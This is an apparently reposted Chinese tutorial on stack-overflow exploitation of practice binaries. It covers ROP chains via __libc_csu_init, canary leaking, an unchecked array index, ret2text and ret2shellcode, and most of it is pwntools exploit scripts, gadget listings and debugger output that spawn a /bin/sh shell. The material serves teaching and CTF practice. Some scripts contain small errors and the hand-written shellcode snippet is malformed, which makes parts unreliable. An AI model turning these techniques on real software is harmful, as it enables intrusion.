欢迎光临散文网 会员登陆 & 注册

二进制安全之栈溢出(中)

2020-04-16 14:13 作者:汇智知了堂  | 我要投稿

栈劫持

整形溢出

实验

调试

程序一 :rop链 & _libc_csu_init

ROP

  • IDA静态分析

int __cdecl main(int argc, const char **argv, const char **envp) {  vulnerable_function(*(_QWORD *)&argc, argv, envp);  return write(1, "Hello, World!\n", 0xEuLL); } ssize_t vulnerable_function() {  char buf; // [rsp+0h] [rbp-80h] 说明buf到rbp有0x80字节。即buf[0x80]  write(1, "Input:\n", 7uLL);  return read(0, &buf, 0x200uLL); //从标准控制台向buf读入0x200 }


攻击脚本

from pwn import * context.arch = "amd64" context.log_level = "debug" context.terminal=["tmux","splitw","-h"] if len(sys.argv) < 2: debug=True else: debug=False if debug: p = process("./level3_x64") elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") def debugf(): gdb.attach(p,"b *0x400602") #debugf() padding = 0x80 * "a" padding_rbp = "junkjunk" write_plt = elf.plt["write"] write_got = elf.got["write"]     # target : write(1,write_got,8) pop_rdi_ret = 0x4006b3 pop_rsi_r15_ret = 0x4006b1 main_addr = 0x40061A payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) p.sendafter("Input:\n",payload) addr = u64(p.recv(6).ljust(8,"\x00")) libc.address = addr - libc.symbols["write"] binsh = libc.search("/bin/sh").next() system = libc.symbols["system"] payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system) p.sendafter("Input:\n",payload) p.interactive()

思路

泄露system在libc中的地址 通过write函数泄露system的地址 先通过plt中的wrtite jump到got中的write函数的地址,然后通过offset计算libc的基址,然后泄露system的地址 可以将第一个return的内容覆盖为plt["write"]的地址 即write(1,write_got,8) 调用write_got,打印8个字节到屏幕上 寻找rop链 rdi_pop_rsi_pop_rdx_ret,保存write函数的参数与返回地址 64位程序的参数压栈顺序rdi,rsi,rdx,rcx,r8,r9 ➜  level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret' Gadgets information ============================================================ 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop r14 ; pop r15 ; ret 0x00000000004006b2 : pop r15 ; ret 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400550 : pop rbp ; ret 0x00000000004006b3 : pop rdi ; ret 0x00000000004006b1 : pop rsi ; pop r15 ; ret 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400499 : ret 由于在rop链中没有发现rdx,暂时不去使用rdx,因为rdx中本来就可能含有大于8的数,因此对我们而言传参与否意义不大,只是成功率的问题,直接返回到main_addr即可 .text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp) .text:000000000040061A                 public main .text:000000000040061A main            proc near               ; DATA XREF: _start+1D↑o


libc_csu_init

  • 解决rop链中无rdx的思路

a. 调用libc_csu_init b. libc_csu_init有rdx c. 在libc_csu_init循环构造payload

libc_csu_init的内存布局

.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o .text:0000000000400650 ; __unwind { .text:0000000000400690 .text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400690                 mov     rdx, r13 // 4. 将r13给到了rdx .text:0000000000400693                 mov     rsi, r14 // 5. 控制rsi .text:0000000000400696                 mov     edi, r15d // 6. 控制rdi的低四位,注意这里不能存放下6字节的/bin/sh .text:0000000000400699                 call    qword ptr [r12+rbx*8] ;7. 给rbx赋0,相当于call [r12], ; 将system的地址写入其中bss中,将bss_addr写入其中 .text:000000000040069D                 add     rbx, 1 .text:00000000004006A1                 cmp     rbx, rbp  //9. 使rbp=1,跳过jnz .text:00000000004006A4                 jnz     short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j .text:00000000004006A6                 add     rsp, 8 .text:00000000004006AA                 pop     rbx //1. 控制函数从这里执行 .text:00000000004006AB                 pop     rbp .text:00000000004006AC                 pop     r12 //8. 给r12添一个main_addr .text:00000000004006AE                 pop     r13 //2. 通过栈控制r13 .text:00000000004006B0                 pop     r14 .text:00000000004006B2                 pop     r15 .text:00000000004006B4                 retn //3. ret到main_addr .text:00000000004006B4 ; } // starts at 400650 .text:00000000004006B4 __libc_csu_init endp //实现通过栈控制rdx

空闲的bss段

.bss:0000000000600A89                 db    ? ; 向其中写入system的地址,call [r12] ,将r12改为0x600A89 .bss:0000000000600A8A                 db    ? ; .bss:0000000000600A8B                 db    ? ;

坑点

call qword ptr [r12+rbx*8] ;寄存器间接寻址,需要把system的地址写入bss mov edi, r15d ;只能存放4个字节,存放不了/bin/sh

_libc_csu_init攻击脚本实现

from pwn import * context.arch = "amd64" context.log_level = "debug" context.terminal=["tmux","splitw","-h"] if len(sys.argv) < 2: debug=True else: debug=False if debug: p = process("./level3_x64") elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./level3_x64") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") def lib_csu_init(ret_address,call,p1,p2,p3): pop_ret7 = 0x4006AA libc_csu_init_addr = 0x400690 payload = 0x80*'a' + p64(0) # padding_ebp payload+= p64(pop_ret7) payload+= p64(0) + p64(1) + p64(call) #rbx rbp r12 payload+= p64(p3) + p64(p2) + p64(p1)   #r13 r14 r15 payload+= p64(libc_csu_init_addr) #ret payload+= p64(0)*7 #clear rsp rbx rbp r12  r13 r14 r15 payload+= p64(ret_address) p.sendafter("Input:\n",payload) def debugf(): gdb.attach(p,"b *0x400602") #debugf() write_plt = elf.plt["write"] write_got = elf.got["write"]     read_got = elf.got["read"]   main_addr = 0x40061A bss_addr = 0x600A89 lib_csu_init(main_addr,write_got,1,write_got,0x8) write_addr = u64(p.recv(8)) log.success("write_addr:" + hex(write_addr)) libc.address = write_addr - libc.symbols["write"] log.success("libc.address:" + hex(libc.address)) lib_csu_init(main_addr,read_got,0,bss_addr,16) # 16 is the param of read # read system to bss_addr and write "/bin/sh to bss_addr+8" #binsh = libc.search("/bin/sh").next() not need anymore system = libc.symbols["system"] p.send(p64(system)+"/bin/sh\x00") #lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0) p.interactive()


  • 调试

  1. 设置断点到* 0x4006AA



  1. 第一次循环结束后





  1. 返回到main



  1. 打印libc的地址



  1. 查看bss_addr的内容

程序二 :canary

  • IDA静态分析

int __cdecl main(int argc, const char **argv, const char **envp) {  init();  puts("Hello Hacker!");  vuln();  return 0; } unsigned int vuln() {  signed int i; // [esp+4h] [ebp-74h]  char buf; // [esp+8h] [ebp-70h]  unsigned int v3; // [esp+6Ch] [ebp-Ch]  v3 = __readgsdword(0x14u); //从fs:28h读取canary到栈  for ( i = 0; i <= 1; ++i )  {    read(0, &buf, 0x200u);  //溢出点    printf(&buf); //如果没有printf,可以通过_dl_runtime_resolv泄露canary  }  return __readgsdword(0x14u) ^ v3; //异或栈中的canary与内核中的md5 }

利用方法

在ebp – 0x0c的地址覆盖为canary值 泄露canary的值

攻击脚本

from pwn import * p = process("./leak_canary") get_shell = 0x0804859B p.recvuntil("Hello Hacker!\n") offset = 0x70-0xC # 到达canary的偏移地址 payload = (offset)*"a" + "b" # 覆盖掉canary的最后的"\0"字节,这时就可以打印出canary了 p.send(payload) p.recvuntil("ab")  #在canary之前截断,在没有printf,可以通过_dl_runtime_resolv泄露canary canary = u32(p.recv(3).rjust(4,"\x00")) #接收三字节的canary,并用0将第四个字节补齐 log.success("canary:"+hex(canary))   payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell) # 最终payload p.send(payload2) p.interactive()

程序三 :canary(不需绕过)

  • IDA静态分析

int __cdecl main(int argc, const char **argv, const char **envp) {  int v3; // eax  unsigned int v5; // [esp+18h] [ebp-90h]  unsigned int v6; // [esp+1Ch] [ebp-8Ch]  int v7; // [esp+20h] [ebp-88h]  unsigned int j; // [esp+24h] [ebp-84h]  int v9; // [esp+28h] [ebp-80h]  unsigned int i; // [esp+2Ch] [ebp-7Ch]  unsigned int k; // [esp+30h] [ebp-78h]  unsigned int l; // [esp+34h] [ebp-74h]  char v13[100]; // [esp+38h] [ebp-70h]  unsigned int v14; // [esp+9Ch] [ebp-Ch]  v14 = __readgsdword(0x14u);  setvbuf(stdin, 0, 2, 0);  setvbuf(stdout, 0, 2, 0);  v9 = 0;  puts("***********************************************************");  puts("*                      An easy calc                       *");  puts("*Give me your numbers and I will return to you an average *");  puts("*(0 <= x < 256)                                           *");  puts("***********************************************************");  puts("How many numbers you have:");  __isoc99_scanf("%d", &v5);  puts("Give me your numbers");  for ( i = 0; i < v5 && (signed int)i <= 99; ++i )  {    __isoc99_scanf("%d", &v7);    v13[i] = v7;  }  for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )  {    while ( 1 )    {      while ( 1 )      {        while ( 1 )        {          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");          __isoc99_scanf("%d", &v6);          if ( v6 != 2 )            break;          puts("Give me your number");          __isoc99_scanf("%d", &v7);          if ( j <= 0x63 )          {            v3 = j++;            v13[v3] = v7;          }        }        if ( v6 > 2 )          break;        if ( v6 != 1 )          return 0;        puts("id\t\tnumber");        for ( k = 0; k < j; ++k )          printf("%d\t\t%d\n", k, v13[k]);      }      if ( v6 != 3 )        break;      puts("which number to change:");      __isoc99_scanf("%d", &v5); //v5是序号,无大小限制,造成漏洞点      puts("new number:");      __isoc99_scanf("%d", &v7);        v13[v5] = v7;    }    if ( v6 != 4 )      break;    v9 = 0;    for ( l = 0; l < j; ++l )      v9 += v13[l];  }  return 0; }

利用原理

v5无大小限制,形成漏洞点 可以看到 char v13[100]; // [esp+38h] [ebp-70h],当v5 = 28的时候,28*4=102=0×70,第29个字节就是EBP,第30个字节就是ret。 控制输入v7的内容和长度,实现ret的精准覆盖。 因此这道题不需要绕过canary。

程序四 :ret2text

  • IDA静态分析

int __cdecl main(int argc, const char **argv, const char **envp) {  char s; // [esp+1Ch] [ebp-64h] padding=0x64+0x8  setvbuf(stdout, 0, 2, 0);  setvbuf(_bss_start, 0, 1, 0);  puts("There is something amazing here, do you know anything?");  gets(&s); //溢出点  printf("Maybe I will tell you next time !");  return 0; } void secure() //函数模板库,CTRL+E查看 {  unsigned int v0; // eax  int input; // [esp+18h] [ebp-10h]  int secretcode; // [esp+1Ch] [ebp-Ch]  v0 = time(0);  srand(v0);  secretcode = rand();  __isoc99_scanf((const char *)&unk_8048760, &input);  if ( input == secretcode )    system("/bin/sh"); //wonderful,理想的返回地址 }

利用原理

找到溢出点:gets(&s) 判断填充长度 : s到ebp的大小加4字节ebp,即 0×64 – 0x1c + 0×4 判断ebp和esp寻址的小技巧:在IDA的变量s处双击,能进入到反汇编窗口即esp寻址

gdb调试

checksec

Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000) // 可以看到没有开启ALSR和PIE,这时我们下断点的时候不用考虑地址随机化

设置断点到s

.text:080486AB mov [esp], eax ; s 在IDA中静态查看s的地址,取其偏移地址080486AB 在gdb中 b *0x080486AB 即可

计算填充长度

EAX  0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */ EBX  0x0 ECX  0xffffffff EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 EBP  0xffffcef8 ◂— 0x0 ESP  0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?' /* EDX接收s 填充长度为EBP-EAX = 0x6c */

覆写返回地址到system("/bin/sh");

a. 使用IDA查看bin/sh的地址 .text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh" .text:08048641                 call    _system

攻击脚本

from pwn import * context.log_level = "debug"   # context预设环境 context.arch = "i386" context.terminal = ["tmux","splitw","-h"]  # tmux   垂直分屏 if len(sys.argv) < 2: debug = True else: debug = False if debug: p = process("./ret2text")   # process表示当前程序的发送和接收(交互) elf = ELF("./ret2text")   # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息 libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') # 载入libc的库,可以通过vmmap查看 else: p = remote("x.x.x.x",1088) elf = ELF("./ret2text")   libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def debugf(): gdb.attach(p,"b *0x80486AB") debugf() padding = (0x64+8)*a ebp_padding = "aaaa" system_addr = 0x0804863A payload = padding + ebp_padding + p32(system_addr) p.sendlineafter("do you know anything?\n",payload) #需要加"\n",因为puts在程序最后加"\n" p.interactive() # 接收shell

程序五 :ret2shellcode

  • IDA静态分析

int __cdecl main(int argc, const char **argv, const char **envp) {  char s; // [esp+1Ch] [ebp-64h]  setvbuf(stdout, 0, 2, 0);  setvbuf(stdin, 0, 1, 0);  puts("No system for you this time !!!");  gets(&s);  strncpy(buf2, &s, 0x64u);  printf("bye bye ~");  return 0; }

设置断点

.text:08048590                 mov     [esp], eax      ; s 设置到断点gets之前 .text:08048593                 call    _gets

溢出地址

.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o

攻击脚本

#!/usr/bin/env python from pwn import * context.arch ="i386" context.log_level = "debug" context.terminal = ["tmux","splitw","-h"] if len(sys.argv < 2): debug = True else: debug = False if debug: p = process('./ret2shellcode') elf = ELF('./ret2shellcode') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') else: p = remote('xx.xx.xx.xx',1111) elf = ELF('./ret2shellcode') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') def debugf(): gdb.attach(p,"b *08048590") debugf() #padding = 0x64+8 #padding_ebp = 0x4 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(0x6c,"a") + "junk" buf2_addr = 0x804a080 payload += p32(buf2_addr) p.sendlineafter("No system for you this time !!!\n",payload) p.interactive()

流程

64字节shelllcode覆盖s 填充8字节到达main函数的ebp “junk”覆盖掉rbp的内容 将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)

注意点

buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。 ljust函数用于补充指定大小的字节 asm(shellcraft.sh())用于自动生成shellcode 手写shellcode shellcode = asm( "mov ebp,esp" "push ebp" "mov eax,08808188a" ;向0x08808188a传入一个bin/sh "mov [esp],eax" "call system" )

调试

finish到main函数 buf的内存布局 EAX  0x804a080 (buf2) ◂— 0x2f68686a 0x80485af <main+130>    call   strncpy@plt <0x8048420> 00:0000│ esp  0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686a x/20gz 0x804a080 0x804a080 <buf2>:       0x68732f2f2f68686a      0x0168e3896e69622f 0x804a090 <buf2+16>:    0x6972243481010101      0x59046a51c9310101 返回地址 0x80485c6 <main+153>    ret       <0x804a080; buf2> ==>可以看到将main返回地址覆盖成了buf2的地址 shellcode 00:0000│ esp  0xff906e74 ◂— '/bin///sh' 01:0004│      0xff906e70 ◂— 0x6873 /* 'sh' */ 0x804a0aa <buf2+42>    int    0x80  ==> 此时中断退出

二进制安全之栈溢出(中)的评论 (共 条)

分享到微博请遵守国家法律